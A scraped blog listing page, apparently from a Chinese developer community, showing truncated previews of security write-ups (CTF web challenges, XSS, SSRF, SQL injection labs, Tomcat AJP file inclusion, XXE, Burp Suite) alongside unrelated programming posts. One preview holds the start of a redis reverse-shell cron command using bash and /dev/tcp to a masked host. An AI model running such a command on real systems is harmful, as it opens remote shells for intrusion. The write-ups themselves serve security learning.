- 进入到题目，看上去非常简单的三个题目，只不过提交个按钮是灰色的，无法点击。 我们审查元素来看看 发现这里设置了属性，改过来之后提交三道题目的正确答案，发现还是不行。 我们再来仔细的看看源代码，发现了... 进入到题目，看上去非常简单的三个题目，只不过提交个按钮是灰色的，无法点击。 我们审查元素来看看 发现这里设置了属性，改过来之后提交三道题目的正确答案，发现还是不行。 我们再来仔细的看看源代码，发现了...
- 反射型XSS 在【name】处输入test，观察URL变化及返回信息： 可以看到输入框中的内容直接在URL展示，直接放弹框的payload： 存储型XSS 在输入框提交，再次刷新页面即可触发注入... 反射型XSS 在【name】处输入test，观察URL变化及返回信息： 可以看到输入框中的内容直接在URL展示，直接放弹框的payload： 存储型XSS 在输入框提交，再次刷新页面即可触发注入...
- SSRF简介 SSRF（Server-Side Request Forgery，服务端请求伪造），是攻击者让服务端发起构造的指定请求链接造成的漏洞。 由于存在防火墙的防护，导致攻击者无法直接入侵内网；... SSRF简介 SSRF（Server-Side Request Forgery，服务端请求伪造），是攻击者让服务端发起构造的指定请求链接造成的漏洞。 由于存在防火墙的防护，导致攻击者无法直接入侵内网；...
- 打开服务器上的网页然后看到进入第一关的按钮，点击。 跳到第一关，只有一些文字，那么我们看看源代码有没有神马发现 页面和这个差不多，但是多了一些奇怪的符号，还是看一下源代码吧。 源代码中给出了第二关的... 打开服务器上的网页然后看到进入第一关的按钮，点击。 跳到第一关，只有一些文字，那么我们看看源代码有没有神马发现 页面和这个差不多，但是多了一些奇怪的符号，还是看一下源代码吧。 源代码中给出了第二关的...
- 一：首先上题目 1.输入网址 2.测试id http://1.117.248.182/Less-1/?id=1 1 ht 一：首先上题目 1.输入网址 2.测试id http://1.117.248.182/Less-1/?id=1 1 ht
- 页面上可以点击的只有一个按钮 点击之后出来一句话提示：Only Member with Admin rights is allow to enter，只有管理员权限的成员才能进入。 我们直接用bru... 页面上可以点击的只有一个按钮 点击之后出来一句话提示：Only Member with Admin rights is allow to enter，只有管理员权限的成员才能进入。 我们直接用bru...
- 一：首先上一张图片 <Window x:Class="Zhaoxi.AppLayout.MainWindow" xmlns="http://schemas.microsoft.... 一：首先上一张图片 <Window x:Class="Zhaoxi.AppLayout.MainWindow" xmlns="http://schemas.microsoft....
- 漏洞利用，通过python脚本文件读取及文件包含进行RCE。 漏洞简介 由于Tomcat默认开启的AJP服务（8009端口）存在一处文件包含缺陷，攻击者可构造恶意的请求包进行文件包含操作，进而读取受影响... 漏洞利用，通过python脚本文件读取及文件包含进行RCE。 漏洞简介 由于Tomcat默认开启的AJP服务（8009端口）存在一处文件包含缺陷，攻击者可构造恶意的请求包进行文件包含操作，进而读取受影响...
- 一：基础知识 JSONP劫持 JSONP全称JSON with Padding，是基于JSON格式的为解决跨域请求资源而产生的解决方案。其基本原理是利用了HTML里 当某网站通过JSONP的方... 一：基础知识 JSONP劫持 JSONP全称JSON with Padding，是基于JSON格式的为解决跨域请求资源而产生的解决方案。其基本原理是利用了HTML里 当某网站通过JSONP的方...
- 本地搭建redis redis反弹shell的bash脚本 #shell.sh echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/xxx.xx... 本地搭建redis redis反弹shell的bash脚本 #shell.sh echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/xxx.xx...
- 有回显的本地文件读取 文件内容中存在很多的特殊字符：大于号、小于号等，我们在前面的XML基础巩固中也提到过，当xml的标签内还存在小于号、大于号等特殊字符时，尤其是小于号，会被XML解析器误认为是另一... 有回显的本地文件读取 文件内容中存在很多的特殊字符：大于号、小于号等，我们在前面的XML基础巩固中也提到过，当xml的标签内还存在小于号、大于号等特殊字符时，尤其是小于号，会被XML解析器误认为是另一...
- 一：burpsuit相关功能 1.了解burpsuite Burp Suite是用于攻击web应用程序的集成平台。包含了许多工具，并为这些工具设计了许多接口，以促进加快攻击应用程序的过程。所有的工具都... 一：burpsuit相关功能 1.了解burpsuite Burp Suite是用于攻击web应用程序的集成平台。包含了许多工具，并为这些工具设计了许多接口，以促进加快攻击应用程序的过程。所有的工具都...
- 正文 jsp页面 <label class="font">验 证 码:</label> <input type="text" id="code" name="code"> <img src="codey" id="img"> ... 正文 jsp页面 <label class="font">验 证 码:</label> <input type="text" id="code" name="code"> <img src="codey" id="img"> ...
- 前言 Java语言 Java语言体系比较庞大，包括多个模块。从WEB项目应用角度讲有JSP、Servlet、JDBC、EJB四部分技术。其中还有其他的9个技术规范（JNDI，） 正文 Java Database Connectivity (JDBC)技术 JDBC(Java Database Connectivity) 是一种... 前言 Java语言 Java语言体系比较庞大，包括多个模块。从WEB项目应用角度讲有JSP、Servlet、JDBC、EJB四部分技术。其中还有其他的9个技术规范（JNDI，） 正文 Java Database Connectivity (JDBC)技术 JDBC(Java Database Connectivity) 是一种...
- 本篇博客，小菌为大家带来的时候大数据组件之一的——Azkaban的介绍。 文章目录 1.Azkaba... 本篇博客，小菌为大家带来的时候大数据组件之一的——Azkaban的介绍。 文章目录 1.Azkaba...
上滑加载中
推荐直播
-
华为云码道-玩转OpenClaw，在线养虾2026/03/11 周三 19:00-21:00
刘昱，华为云高级工程师/谈心，华为云技术专家/李海仑，上海圭卓智能科技有限公司CEO
OpenClaw 火爆开发者圈，华为云码道最新推出 Skill ——开发者只需输入一句口令，即可部署一个功能完整的「小龙虾」智能体。直播带你玩转华为云码道，玩转OpenClaw
回顾中 -
华为云码道-AI时代应用开发利器2026/03/18 周三 19:00-20:00
童得力，华为云开发者生态运营总监/姚圣伟，华为云HCDE开发者专家
本次直播由华为专家带你实战应用开发，看华为云码道(CodeArts)代码智能体如何在AI时代让你的创意应用快速落地。更有华为云HCDE开发者专家带你用码道玩转JiuwenClaw，让小艺成为你的AI助理。
回顾中 -
Skill 构建 × 智能创作：基于华为云码道的 AI 内容生产提效方案2026/03/25 周三 19:00-20:00
余伟，华为云软件研发工程师/万邵业（万少），华为云HCDE开发者专家
本次直播带来两大实战：华为云码道 Skill-Creator 手把手搭建专属知识库 Skill；如何用码道提效 OpenClaw 小说文本，打造从大纲到成稿的 AI 原创小说全链路。技术干货 + OPC创作思路，一次讲透！
回顾中
热门标签